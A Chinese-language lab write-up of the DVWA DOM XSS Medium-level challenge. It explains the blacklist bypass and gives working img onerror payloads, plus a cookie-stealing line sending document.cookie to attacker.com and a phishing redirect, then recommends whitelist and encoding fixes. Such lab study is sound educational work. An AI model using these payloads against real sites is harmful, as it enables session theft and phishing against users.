文章目录
-
- [一、Medium 级别防护分析](#一、Medium 级别防护分析)
-
- [1.1 PHP 层防护代码](#1.1 PHP 层防护代码)
- [1.2 防护机制](#1.2 防护机制)
- [1.3 防护缺陷](#1.3 防护缺陷)
- 二、客户端代码分析
- 三、攻击过程
-
- [3.1 失败尝试](#3.1 失败尝试)
-
- [尝试 1:使用 `<script>` 标签(被拦截)](#尝试 1:使用
<script>标签(被拦截)) - [尝试 2:大小写混合 `<Script>`(被拦截)](#尝试 2:大小写混合
<Script>(被拦截)) - [尝试 3:URL 编码的 `<img>` 标签(失败)](#尝试 3:URL 编码的
<img>标签(失败)) - [尝试 4:URL 编码的 `=` 符号(失败)](#尝试 4:URL 编码的
=符号(失败))
- [尝试 1:使用 `<script>` 标签(被拦截)](#尝试 1:使用
- [3.2 成功 Payload](#3.2 成功 Payload)
- [3.3 Payload 分解](#3.3 Payload 分解)
- [四、为什么这个 Payload 有效](#四、为什么这个 Payload 有效)
-
- [4.1 绕过 PHP 层检测](#4.1 绕过 PHP 层检测)
- [4.2 浏览器 HTML 解析流程](#4.2 浏览器 HTML 解析流程)
- [4.3 关键技巧:`=` 不能 URL 编码](#4.3 关键技巧:
=不能 URL 编码)
- [五、更多 Medium 级别 Payload](#五、更多 Medium 级别 Payload)
-
- [5.1 使用 `<svg>` 标签](#5.1 使用
<svg>标签) - [5.2 使用 `<body>` 标签](#5.2 使用
<body>标签) - [5.3 窃取 Cookie](#5.3 窃取 Cookie)
- [5.4 重定向攻击](#5.4 重定向攻击)
- [5.1 使用 `<svg>` 标签](#5.1 使用
- [六、Low vs Medium 对比](#六、Low vs Medium 对比)
- 七、漏洞修复建议
-
- [7.1 白名单验证(推荐)](#7.1 白名单验证(推荐))
- [7.2 HTML 编码输出](#7.2 HTML 编码输出)
- [7.3 客户端修复](#7.3 客户端修复)
- 八、总结
-
- [8.1 Medium 级别防护的缺陷](#8.1 Medium 级别防护的缺陷)
- [8.2 攻击要点](#8.2 攻击要点)
- [8.3 安全启示](#8.3 安全启示)
一、Medium 级别防护分析
1.1 PHP 层防护代码
php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null( $_GET[ 'default' ]) ) {
$default = $_GET['default'];
# Do not allow script tags
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
}
1.2 防护机制
| 防护点 | 说明 |
|---|---|
| 检测目标 | <script 字符串 |
| 检测方式 | stripos() --- 不区分大小写 |
| 防护措施 | 重定向到 ?default=English 并退出 |
1.3 防护缺陷
- 只过滤
<script标签 ,没有过滤其他可执行 XSS 的标签(如<img>,<svg>,<body>等) - 客户端 JavaScript 代码未修改 ,仍然使用
document.write直接写入用户输入 - 黑名单方式,只阻止已知危险标签,而非白名单验证
二、客户端代码分析
Medium 级别的客户端 JavaScript 代码与 Low 级别完全相同:
javascript
if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}
document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
关键问题:
lang变量直接从 URL 提取,未经任何过滤document.write()直接将lang写入 HTMLdecodeURI(lang)用于 option 的 text 内容
三、攻击过程
3.1 失败尝试
尝试 1:使用 <script> 标签(被拦截)
?default=English</script><script>alert('XSS')</script>
结果 : 被 PHP 层 stripos($default, "<script") 检测到,重定向到 ?default=English
尝试 2:大小写混合 <Script>(被拦截)
?default=English</Script><Script>alert('XSS')</Script>
结果 : stripos() 不区分大小写,仍然被拦截
尝试 3:URL 编码的 <img> 标签(失败)
?default=%3Cimg%20src%3Dx%20onerror%3Dalert('XSS')%3E
结果 : <img> 被写入 <option> 的 value 属性中,不会被解析为 HTML 元素
尝试 4:URL 编码的 = 符号(失败)
?default=English</option></select><svg%20onload%3Dalert('XSS')%3E
结果 : onload%3Dalert(...) 被浏览器当作属性名,而不是 onload 事件处理器
3.2 成功 Payload
http://192.168.0.107/DVWA/vulnerabilities/xss_d/?default=English</option></select><img src=x onerror=alert('XSS_Medium')>
URL 编码后 (注意 = 不要编码):
http://192.168.0.107/DVWA/vulnerabilities/xss_d/?default=English%3C/option%3E%3C/select%3E%3Cimg%20src=x%20onerror=alert(%27XSS_Medium%27)%3E
3.3 Payload 分解
| 部分 | 作用 | 是否编码 |
|---|---|---|
English |
正常文本,通过 <script 检测 |
否 |
%3C/option%3E |
闭合 <option> 标签 |
是 |
%3C/select%3E |
闭合 <select> 标签,跳出 select 上下文 |
是 |
%3Cimg%20src=x |
注入图片标签,src=x 不存在 |
是 |
onerror=alert('XSS_Medium') |
事件处理器,= 不能编码 |
部分 |
%3E |
闭合 <img> 标签 |
是 |
四、为什么这个 Payload 有效
4.1 绕过 PHP 层检测
- Payload 中不包含
<script字符串 - 使用
<img>标签和onerror事件,不在 PHP 黑名单中
4.2 浏览器 HTML 解析流程
document.write 执行:
<option value='English%3C/option%3E%3C/select%3E%3Cimg...'>
English</option></select><img src=x onerror=alert('XSS_Medium')>
</option>
浏览器解析:
<option value='...'>--- value 属性包含 URL 编码的内容English--- option 的 text 内容开始</option>--- 闭合 option 标签</select>--- 闭合 select 标签,跳出 select 上下文<img src=x onerror=alert('XSS_Medium')>--- 在 select 外部渲染,src=x不存在触发onerror
4.3 关键技巧:= 不能 URL 编码
| 写法 | 浏览器解析 | 结果 |
|---|---|---|
onerror%3Dalert('XSS') |
属性名 = onerror%3Dalert('XSS'),值为空 |
不执行 |
onerror=alert('XSS') |
属性名 = onerror,值 = alert('XSS') |
执行 |
原因 : decodeURI() 会解码 %3C 为 <,但不会改变 = 的行为。如果 = 被编码为 %3D,浏览器在解析 HTML 属性时会将整个字符串当作属性名。
五、更多 Medium 级别 Payload
5.1 使用 <svg> 标签
?default=English</option></select><svg onload=alert('XSS_Medium')>
注意 : onload 事件在元素已经插入 DOM 后不会触发,所以这个方法可能不工作。推荐使用 onerror。
5.2 使用 <body> 标签
?default=English</option></select><body onload=alert('XSS_Medium')>
注意 : 同上,onload 事件不会触发。
5.3 窃取 Cookie
?default=English</option></select><img src=x onerror=window.location='http://attacker.com/?c='+document.cookie>
5.4 重定向攻击
?default=English</option></select><img src=x onerror=window.location='http://phishing.com'>
六、Low vs Medium 对比
| 特性 | Low | Medium |
|---|---|---|
| PHP 层防护 | 无 | 检测 <script 标签 |
| 客户端代码 | 未修改 | 未修改 |
| 攻击难度 | 简单 | 中等 |
| Payload 类型 | <script> 标签 |
HTML 事件处理器 |
| 关键技巧 | 无 | = 不能 URL 编码 |
七、漏洞修复建议
7.1 白名单验证(推荐)
php
$allowed = ['English', 'French', 'Spanish', 'German'];
if (in_array($_GET['default'], $allowed)) {
$default = $_GET['default'];
} else {
$default = 'English';
}
7.2 HTML 编码输出
php
$default = htmlspecialchars($_GET['default'], ENT_QUOTES, 'UTF-8');
7.3 客户端修复
javascript
// 使用白名单
const allowed = ['English', 'French', 'Spanish', 'German'];
if (allowed.includes(lang)) {
const option = document.createElement('option');
option.value = lang;
option.textContent = lang;
select.appendChild(option);
}
八、总结
8.1 Medium 级别防护的缺陷
- 黑名单不完整 --- 只过滤
<script,忽略了其他 XSS 向量 - 只防护 PHP 层 --- 客户端代码未修改,漏洞仍然存在
- 没有输出编码 --- 用户输入直接写入 HTML
8.2 攻击要点
| 要点 | 说明 |
|---|---|
避免 <script |
使用 HTML 事件处理器替代 |
| 跳出 select 上下文 | 使用 </option></select> 闭合标签 |
= 不要编码 |
确保浏览器正确解析事件处理器 |
使用 onerror |
比 onload 更可靠,因为 onload 在元素已插入 DOM 后不会触发 |
8.3 安全启示
- 黑名单永远不够 --- 攻击者总能找到新的绕过方法
- 纵深防御 --- PHP 层和客户端都需要防护
- 白名单优于黑名单 --- 只允许已知安全的输入
- 输出编码 --- 所有用户输入都必须编码后输出